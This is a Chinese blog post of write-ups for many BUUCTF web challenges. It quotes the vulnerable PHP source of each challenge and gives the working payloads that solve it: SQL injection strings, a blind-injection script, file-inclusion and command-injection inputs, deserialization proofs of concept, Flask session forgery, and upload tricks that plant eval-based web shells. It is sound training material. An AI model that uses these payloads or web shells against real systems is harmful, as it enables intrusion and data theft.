BUUCTF-WEB-WRITEUP

admin 2022年1月6日01:44:29评论134 views字数 64773阅读215分54秒阅读模式

BUUCTF是一个ctf平台,里面都是一些经典赛题。

[HCTF 2018]WarmUp

查看源码,注释有source.php,访问得到源码
source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

由源码可知只有重点要绕过emmm::checkFile($_REQUEST[‘file’]) ,实现任意文件包含读取。 可知存在hint.php文件,访问

1
/source.php?file=hint.php

提示

1
flag not here, and flag in ffffllllaaaagggg

可知flag存在 中 ,要实现包含读取ffffllllaaaagggg,要先让checkFile 返回True,从下面这部分源码着手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

从源码可知先对传入的字符串末尾加?号,进行以?为分割符进行字符串截取,接着url解码,然后再次加?号以?为分割符进行字符串截取,最后在进行白名单的判断。我们可以传入一个url编码后的?,前面连接放着白名单的文件,就可以绕过白名单的判断返回True,后面放着我们想要读取的字符串。浏览器会默认帮我们url解码一次,随意我们要将? 二次url编码。

1
source.php?file=hint.php%253f/../../../../ffffllllaaaagggg

可得flag
我这里对?进行一次url编码可以,倒是有点奇怪,不是会默认解码一次吗?
这里还涉及到一个知识点:
hint.php%3f双重编码,经过包含时你包含的文件会被当成一个目录

[强网杯 2019]随便注

在注入测试中,可以发现增、删、查、改操作的关键字都被过滤了。

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

可以使用堆叠注入
得到表名1919810931114514、words

1
-1';  show tables; --+

得到字段名

1
-1';  desc 1919810931114514 #

1919810931114514表有1,hahahah两个字段
得到数据

1
-1'; SET @haha_test = CONCAT('S','ELECT * from `1919810931114514`');PREPARE pr2 FROM @haha_test;EXECUTE pr2 ;#

[SUCTF 2019]EasySQL

这道题一开始以为是盲注, 没做出来,看大佬们的WP.
这题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

重点在

1
$sql = "select ".$post['query']."||flag from Flag";

解法一:
这里没有过滤* ,直接 *,1就可以了

1
*,1 => "select *,1||flag from Flag"; (1和flag或运算,select * from Flag)

解法二:
更改配置把||视为字符串连接符

1
2
1;set sql_mode=pipes_as_concat;select 1   
=>"select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag";

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。

[护网杯 2018]easy_tornado

有三个文件
flag.txt

1
2
/flag.txt
flag in /fllllllllllllag

welcome.txt

1
2
/welcome.txt
render

hints.txt

1
2
/hints.txt
md5(cookie_secret+md5(filename))

提示flag就在/fllllllllllllag 访问跳到 /error?msg=Error ,猜测有模板注入
尝试输入/error?msg=1,确实存在模板注入。
Python tornado框架存在附属文件 handler.settings,于是尝试输入/error?msg=
返回

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '6cf024f5-e2ff-4c16-8989-5b16c648ca74'}

根据hints.txt的提示,依据观察三个文件的url地址可知,需要按照如下访问,才可以得到文件的内容。

1
/file?filename=/文件名&filehash=md5(cookie_secret+md5(文件名))

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib

def md5hash(data):
md5=hashlib.md5()
md5.update(data)
print(md5.hexdigest())
return md5.hexdigest()

def filehash(filename):
cookie_secret = "6cf024f5-e2ff-4c16-8989-5b16c648ca74"
result=md5hash((cookie_secret + md5hash(filename.encode('utf-8'))).encode('utf-8'))
return result

if __name__=="__main__":
filename = "/fllllllllllllag"
result="/file?filename={}&filehash={}"
print(result.format(filename,filehash(filename)))

访问

1
/file?filename=/fllllllllllllag&filehash=232236da1a1b017078826b86cced846a

可得到flag

[极客大挑战 2019]EasySQL

存在sql注入,万能密码登录

1
/check.php?username=admin&password=orandin'  or '1

[RoarCTF 2019]Easy Calc

查看html源码,可知有calc.php文件,访问可得waf的过滤方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

tips:
PHP的字符串解析特性:
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)

num参数的值如果为字母就会显示页面请求就会错误。可以猜测这里的waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。(主要是waf不是用php写的)

answer:
首先我们要先扫根目录下的所有文件,也就是是scandir(“/“),但是/被过滤了,所以我们用chr(47)绕过,发现flagg文件

1
/calc.php?%20num=1;var_dump(scandir(chr(47)))

1
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]Havefun

1
2
3
4
5
6
7
        <!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

answer:

1
?cat=dog

[HCTF 2018]admin

随便注册一个账号登录,在修改密码的地方,提示源码

1
https://github.com/woadsl1234/hctf_flask/

HCTF2018-admin

解法一:session伪造
注册一个账号后登入,抓包得到cookie的session,解密得

1
{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'test', 'user_id': '10'}

如果我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,在config.py里可以发现了SECRET_KEY。

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

一个flask session加密的脚本 https://github.com/noraj/flask-session-cookie-manager

利用刚刚得到的SECRET_KEY,在将解密出来的name改为admin,最后用脚本生成我们想要的session即可
加密

1
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'admin', 'user_id': '10'}"

解法二: unicode

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

假如我们注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录,因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN,此时我们再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin,然后我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag。

1
ᴬᴰᴹᴵᴺ -> ADMIN -> admin

[极客大挑战 2019]Secret File

用bp截取数据吧,在302跳转的页面得知secr3t.php

1
2
3
4
5
<html>
<!--
secr3t.php
-->
</html>

访问secr3t.php得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

利用php://filter的php伪协议读取

1
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]LoveSQL

联合注入 #在get请求中记得url编码,要不会被当成锚点

1
http://666f93b7-713c-4980-819e-74815fd17c90.node3.buuoj.cn/check.php?username=admin&password=dfg' union select 1,(select group_concat(username,0x23,password) from l0ve1ysq1),3 %23

[SUCTF 2019]CheckIn

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>

<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

tips:

1.exif_imagetype 文件类型判断
可以通过给上传脚本加上相应的幻数头字节就可以绕过:

1
2
3
JPG :FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a):47 49 46 38 39 61
PNG: 89 50 4E 47

2.user.ini
user.ini详解介绍

answer:
首先,构造一个.user.ini文件,内容如下:

1
2
GIF89a             
auto_prepend_file=a.jpg

然后构造一个a.jpg,内容如下:

1
2
GIF89a
<script language='php'> @eval($_POST['pass']);</script>

然后将两个文件分别上传到服务器上,拿到回显1

菜刀连接本就存在的index.php文件 ,该index.php会包含a.jpg里面的一句话

[极客大挑战 2019]PHP1

www.zip备份文件
index.php

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

tips:
__wakeup() 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

关于类属性的访问权限:

1
2
3
public   不用修饰 
private   需要加%00类名%00
protected 则需要使用%00*%00

answer:

1
2
3
4
5
6
7
8
<?php
class Name
{
private $username ='admin' ;
private $password =100 ;
}
print(serialize(new Name()));
?>

将成员数目2修改为其他数目,private的不可打印字符用%00代替

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]Knife

直接菜刀连接
flag在根目录

[极客大挑战 2019]Http

在html源码中找到Secret.php文件,访问后提示要从https://www.Sycsecret.com访问,bp抓包添加header头部

1
Referer: https://www.Sycsecret.com

又提示Please use “Syclover” browser ,修改User-Agent

1
User-Agent: Syclover

又提示No!!! you can only read this locally!!! ,添加X-Forwarded-For

1
X-Forwarded-For:127.0.0.1

[GXYCTF2019]Ping Ping Ping

过滤了空格个flag的关键字

answer:
命令执行变量拼接

1
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

过滤bash用sh执行

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行

将反引号内命令的输出作为输入执行

1
?ip=127.0.0.1;cat$IFS$9`ls`

可以查看index.php具体的过滤规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/?ip=
<pre>PING 1 (0.0.0.1): 56 data bytes
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

[ACTF2020 新生赛]Include

php伪协议读取

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

Hack World

写个脚本看过滤了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

def read_dict():
dict=[]
with open("sqldict.txt",'r',encoding="utf-8") as f:
for line in f.readlines():
dict.append(line.strip())
return dict
def sql_filter():
url = "http://2b245443-7cb2-4333-87d0-6e1d1048262b.node3.buuoj.cn/index.php"

valueFilter=[]
sqlDict=read_dict()
for value in sqlDict:
data = {
"id": "1" + value
}
res=requests.post(url=url,data=data)
if "SQL Injection Checked." in res.text:
valueFilter.append(value)
print("Filter word: "+value)
print(valueFilter)
sql_filter()

源码内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);

if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

if($query){
$result = mysql_fetch_array($query);

if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}

由safe函数可知,限制了一些空格、逻辑连接符、注释符、一些操作的关键字。

这里可以用字符串截断函数,把每个字符截断出来。如果当前字符等于某个字符,返回1,否则返回2。

比如: 截取到了flag中的第一个字符f时,从ascii码表里爆破 , f =a 返回 2 , f = f 返回1

这里过滤的空格可以用括号代替
answer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

def binary():
url="http://2b245443-7cb2-4333-87d0-6e1d1048262b.node3.buuoj.cn/index.php"
flag=""
for i in range(1,100):
left = 0x1f
right = 0x7f
while 1:
mid=left+(right-left)//2
if left==mid:
flag=flag+chr(left)
print(flag)
break
payload="if(ascii((mid((select(flag)from(flag)),{},1)))<{},1,2)"
data={
"id":payload.format(i,mid)
}
res=requests.post(url=url,data=data)
if "Hello" in res.text:
right=mid
else:
left=mid
if "}" in flag:
return

binary()
`

ACTF2020 新生赛Exec

1
| cat /flag

强网杯 2019]高明的黑客

[极客大挑战 2019]Upload

黑名单,没有过滤phtml, 检测文件头,以及过滤了php

[极客大挑战 2019]BabySQL

过滤了union、select、from、where

得到表名b4bsql,geekuser

1
http://b74ce88f-f71f-499f-802f-109c754855d2.node3.buuoj.cn/check.php?username=ad&password=pa' uniunionon seselectlect 1,(seleselectct group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3%23

flag

1
http://b74ce88f-f71f-499f-802f-109c754855d2.node3.buuoj.cn/check.php?username=ad&password=pa' uniunionon seselectlect 1,(seleselectct group_concat(passwoorrd) frofromm b4bsql),3%23

[ACTF2020 新生赛]Upload

phtml绕过

[ACTF2020 新生赛]BackupFile

index.php.bak备份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

弱类型

1
key=123

[极客大挑战 2019]BuyFlag

[SUCTF 2019]CheckIn

综上所述.user.ini的利用条件如下:

  • 服务器脚本语言为PHP
  • 服务器使用CGI/FastCGI模式
  • 上传目录下要有可执行的php文件

从这来看.user.ini要比.htaccess的应用范围要广一些,毕竟.htaccess只能用于Apache
利用.user.ini进行文件上传,参考自从SUCTF 2019 CheckIn 浅谈.user.ini的利用
上传这样的一个ini文件

1
2
GIF89a
auto_prepend_file=a.jpg

再上传一个a.jpg文件

1
2
GIF89a
<script language='php'>system('cat /flag');</script>

[ZJCTF 2019]NiZhuanSiWei

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}

解题:
读取useless.php文件

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

useless.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

echo 刚好以字符串形式调用Flag类,所以直接赋值$file=”flag.php”,最后payload如下

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[网鼎杯 2018]Fakebook

访问robots.txt,发现存在user.php.bak备份
user.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

随便注册一个用户,view.php?no=1存在注入

1
view.php?no=-1/**/union/**/select/**/1,(select/*1*/group_concat(data)/*1*/from/**/users),3,4

可以发现data字段存放的就是序列化字符串,在使用的时候应该就会调用进行data字段进行反序列化操作

而且根据报错这里也知道了绝对路劲是/var/www/html/

构造反序列化POC

1
2
3
4
5
6
7
8
9
10
<?php
class UserInfo
{
public $name = "test";
public $age = 7;
public $blog = "file:///var/www/html/flag.php";

}
$res = new UserInfo();
echo serialize($res)

根据之前的注入可知,有回显的是第二位,也就是username字段,data对应应该就是第四个字段为,将反序列化字符串尝试以注入的方式写入

1
?no=-1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

[极客大挑战 2019]HardSQL

用户名输入单引号之后报错,简单测试一下and or这些被过滤掉了
使用^异或符号替换and

1
1%27^extractvalue(1,concat(0x7e,user(),0x7e))^'1

等号也被过滤了,等号可以使用like来代替,空格使用()括号来代替
获取表名

1
1%27^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like%27geek%27),0x7e))^'1

获取数据

1
1%27^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like%27H4rDsq1%27),0x7e))^'

本来想用mid、substr函数的,但是被过滤了,换right函数输出后面的flag

1
1%27^extractvalue(1,concat(0x7e,(select(group_concat(right(password,13)))from(H4rDsq1)),0x7e))^'1

[GXYCTF2019]BabySQli

返回包里面有一串加密字符串,使用base32+base64进行解密得到

1
select * from user where username = '$name'

题目描述里面将密码进行了md5加密,所以可以猜测后端的代码是:

1
2
3
4
5
6
7
8
9
10
<?php
if($row['username']==’admin’){
if($row['password']==md5($pass)){
echo $flag;
}else{
echo “wrong pass!”;
}
}
else{ echo “wrong user!”;}
?>

这里考核的一个知识点是:

当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
即输入admin,密码设置为123456,将123456MD5加密后放进union select 查询中

也就是当name代入查询查询时,在MySQL里面就会生成用户名为admin,密码为123456 MD5加密后的虚拟的数据,同时我们用123456密码进行登录,就能够绕过限制。

最后的payload为:

1
2
username栏:' union select 1,"admin","e10adc3949ba59abbe56e057f20f883e";#
password栏:123456

[网鼎杯 2020 青龙组]AreUSerialz

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

弱类型绕过op,php://filter读取文件,
is_valid()两种绕过方式
(1). p神在小密圈内曾经发过一个点就是在反序列化时,将s改为S,此时后面的字符串支持16进制表示,因此我们的0x00就可以改写为\00,因为在is_valid中是将我们序列化后的字符串逐个转为ascii然后进行对比,而因此\00会被解析为三个字符,且都在允许的范围内,因此可以成功绕过
(2). 这道题因为出题人的php版本较高,前面的绕过还可以用php7.2+的黑魔法,public属性直接反序列化就能用了。

1
2
3
4
5
6
7
8
9
10
11
<?php

class FileHandler{
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$A=new FileHandler();
$B=serialize($A);
echo $B;
?>

[GYCTF2020]Blacklist

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
用法:

1
2
3
 HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE来关闭打开的句柄。

最后

1
2
3
4
1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;#

[MRCTF2020]你传你🐎呢

文件类型为image/jpeg
可以上传.htaccess文件和jpg文件

先上传一下.htaccess文件

1
SetHandler application/x-httpd-php

BUUCTF-WEB-WRITEUP
再上传图片马

[RoarCTF 2019]Easy Java

WEB-INF/web.xml泄露

WEB-INF主要包含一下文件或目录:

1
2
3
4
5
6
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

漏洞成因

通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

WEB-INF/web.xml
BUUCTF-WEB-WRITEUP
看到

com.Wm.ctf.FlagController
关键路径
根据前文:

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

我们结合tomcat的项目存放路径经验试试下载FlagController.class试试
payload:

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

利用escapeshellarg()+escapeshellcmd()的两次转义,导致闭合单引号后即可执行任意参数,然后利用Nmap的-oG参数写入shell

1
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

[MRCTF2020]Ez_bypass

1
2
